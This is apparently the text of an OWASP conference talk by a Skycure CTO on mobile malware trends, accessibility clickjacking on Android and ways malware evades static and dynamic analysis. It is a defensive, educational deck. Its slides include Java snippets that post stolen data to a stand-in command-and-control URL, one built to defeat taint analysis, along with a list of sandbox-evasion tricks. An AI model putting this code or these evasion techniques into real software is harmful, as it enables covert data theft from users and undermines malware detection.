



OWASP

Open Web Application
Security Project

The Ultimate Reason Why Hackers Are Winning The Mobile Malware Battle

Yair Amit

CTO & Co-Founder

Skycure

Meet The Speaker



Yair Amit

CTO, Co-Founder
Skycure



IDF 8200



20+ Patents



OWASP
Open Web Application
Security Project

Agenda

- Evolution of mobile malware
- Accessibility Clickjacking: circumventing app sandboxing
- Evading current malware detection techniques
- Recommendations & summary



CONNECT.

LEARN.


GROW.

MOBILE MALWARE EVOLUTION



OWASP
Open Web Application
Security Project

Malware Evolution



OWASP
Open Web Application
Security Project

Mobile Malware Evolution


- Motivation:
 - What you do, where you go, what you say, 24/7
- Challenges of mobile malware attackers:
 - Apple's App-Store and [Google Play](#) screening process
 - Acquiring privileges requires unnatural end-user flows

WHAT ATTACKERS ARE DOING?



XcodeGhost

- **Compiler Malware:**
 - Malicious development environment
 - Legitimate apps packed with malicious code
 - Malware version enters AppStore with developers' credentials



YiSpecter

- Jailbroken and non-jailbroken devices
- Distribution:
 - Out of AppStore
 - Aggressive
- Apple's private APIs



OWASP
Open Web Application
Security Project

Evolution of Android Malware

2011

Google Play
is riddled with
malware



Google introduces
technologies such as
"Bouncer" and
"Verify Apps"

2016

3rd party stores are
riddled with malware



OWASP
Open Web Application
Security Project

CONNECT.

LEARN.

GROW.


Android

CIRCUMVENTING APP SANDBOXING (WITHOUT RELYING ON ROOTING)



OWASP
Open Web Application
Security Project

App Sandboxing



Source: developer.apple.com



OWASP
Open Web Application
Security Project

Security Implications of Accessibility Features


- Accessibility frameworks are traditionally good candidates:
 - 2007 – [Windows Vista speech recognition exploit](#)
 - 2013 – [Siri allows to bypass iPhone lock screen](#)
 - 2014 – [Siri Lets Anyone Bypass Your iPhone's Lockscreen -- Feature or Bug?](#)
 - 2015 – [iOS 9 allows access to photos and contacts on a passcode locked iPhone](#)
- Android Accessibility Framework
 - ✓ Has full access to content in other apps (e.g. read emails)
 - ✓ Ability to monitor user activity and take actions accordingly



Would You Fall For This?

CONNECT.

LEARN.



OWASP
Open Web Application
Security Project

CONNECT.

LEARN.

GROW.


ACCESSIBILITY CLICKJACKING



OWASP
Open Web Application
Security Project

A Few Benign Features

- **Draw Over Apps**
 - Can be presented on top of other apps
 - [SYSTEM_ALERT_WINDOW](#)
 - Can be used to pass touch events to underlying apps
 - [FLAG_NOT_FOCUSABLE](#)
- **Accessibility APIs**



Source: Stack Overflow



OWASP
Open Web Application
Security Project

... Can Be Dangerous Together

Victims can be
tricked to perform
actions without
their knowledge



https://youtu.be/4cSRq7_Z26s




OWASP
Open Web Application
Security Project

What About Lollipop?

- Original
- Lollipop
 - Tap
 - req
- That is



What the victim sees



What actually happens



ect tap is



OWASP
Open Web Application
Security Project

CONNECT.

LEARN.


GROW.

MALWARE ANALYSIS TECHNIQUES AND WHY THEY FAIL



OWASP
Open Web Application
Security Project

Signature-Based Analysis



OWASP
Open Web Application
Security Project

Dynamic Analysis

Automated User



Identification techniques:

- Network activity
- Debugging
- Instrumentation
- Etc.

en1: Capturing - Wireshark

File Edit View Go Capture Analyze Statistics Telephony Tools Help

Filter: http.request.uri contains "/b/ss/"

No...	Time	Source	Destination	Protocol	Info
174	29.684708	10.0.2.2	66.235.139.121	HTTP	GET /b/ss/
305	70.849541	10.0.2.2	66.235.142.2	HTTP	GET /b/ss/
315	71.879805	10.0.2.2	66.235.142.2	HTTP	GET /b/ss/
370	76.101974	10.0.2.2	66.235.142.2	HTTP	GET /b/ss/
402	80.541323	10.0.2.2	66.235.142.2	HTTP	GET /b/ss/
432	82.969036	10.0.2.2	66.235.142.2	HTTP	GET /b/ss/





OWASP
Open Web Application
Security Project

Evading Dynamic Analysis

- Make sure the malicious code is not executed during the analysis
- Examples:
 - Time bombs
 - Location bombs, IP bombs, etc.
 - Action-based bombs
 - Sandbox detection
 - Is the contact list full and “real”?
 - Same for meetings, emails, accounts, etc.
 - Am I running in a VM?
 - Victim detection
 - Targeted attacks



Static Analysis: The Automated Code Auditor



Static analysis unpacks the app and analyses its code & resources



OWASP
Open Web Application
Security Project

Static Analysis: Taint Analysis

```
String data = getSensitiveData();
```

```
String data = getSensitiveData();  
String deviceName
```

Source – a method
returning sensitive data

```
// ...
```

```
String data2 = "DeviceName=" + deviceName +  
"sensitiveData=" + data;
```

Sink - a method
leaking out data


```
data2 = ..... + data;
```

```
PostRequest("http://www.remote.cnc/data.php", data2);  
PostRequest("http://www.remote.cnc/data.php", data2);
```



Taint Analysis: Trade-Off Challenge



Sources:




CONNECT.

WIN.

GROW.



Sinks:



OWASP
Open Web Application
Security Project

Evading Static Analysis

- Exploiting the Static Analysis FP/EN tradeoff
 - Arrays, files, etc.


```
String data = getSensitiveData();
String data2 = "";
for (int i=0; i<data.length(); i++) {
    if (data.charAt(i) == 'a')
        data2 += 'a';
    if (data.charAt(i) == 'b')
        data2 += 'b';
    ...
}
PostRequest("http://www.remote.cnc/data.php", data2);
```




Evading Static Analysis

- Exploiting the Static Analysis FP/FN tradeoff
 - Arrays, files, etc.
- Dynamic code
 - Reflection
 - Remote server
 - **Malicious code is never made available by a pure static analyzer**
 - Dynamically load an APK from the server
 - Hybrid apps - HTML & JavaScript (also applicable for iOS)

How to detect malicious behavior, if it does not happen?



App Repackaging



CONNECT.

LEARN.

GROW.


LIVE DEMO



OWASP
Open Web Application
Security Project

What about the CNC Server?

Can it be blacklisted?



OWASP
Open Web Application
Security Project

So What Can Defenders Do?

- **Change the paradigm:**
 - Analyzing an app by itself is clearly not enough
 - Model other elements in the attack flow
 - Utilize analysis of similar apps on other devices
- **Crowd-wisdom intelligence:**
 - Compare app traits to all millions of apps that have been seen before
 - Identify anomalies
 - Track new legitimate and malicious apps
 - without relying only on classic analysis approaches



Recommendations

- **If possible, download apps only from official stores**
- **Educate employees on the threats,**
as you would for other forms of computer-security threats
 - Review the permissions requested by each app before installation
- **Upgrade your device OS to the latest version**
- **Install a Mobile Threat Defense solution**



Q&A And Next Steps



contact@skycure.com



<https://www.skycure.com>



<https://blog.skycure.com>



<https://maps.skycure.com>



@YairAmit, @SkycureSecurity



/Skycure



OWASP
Open Web Application
Security Project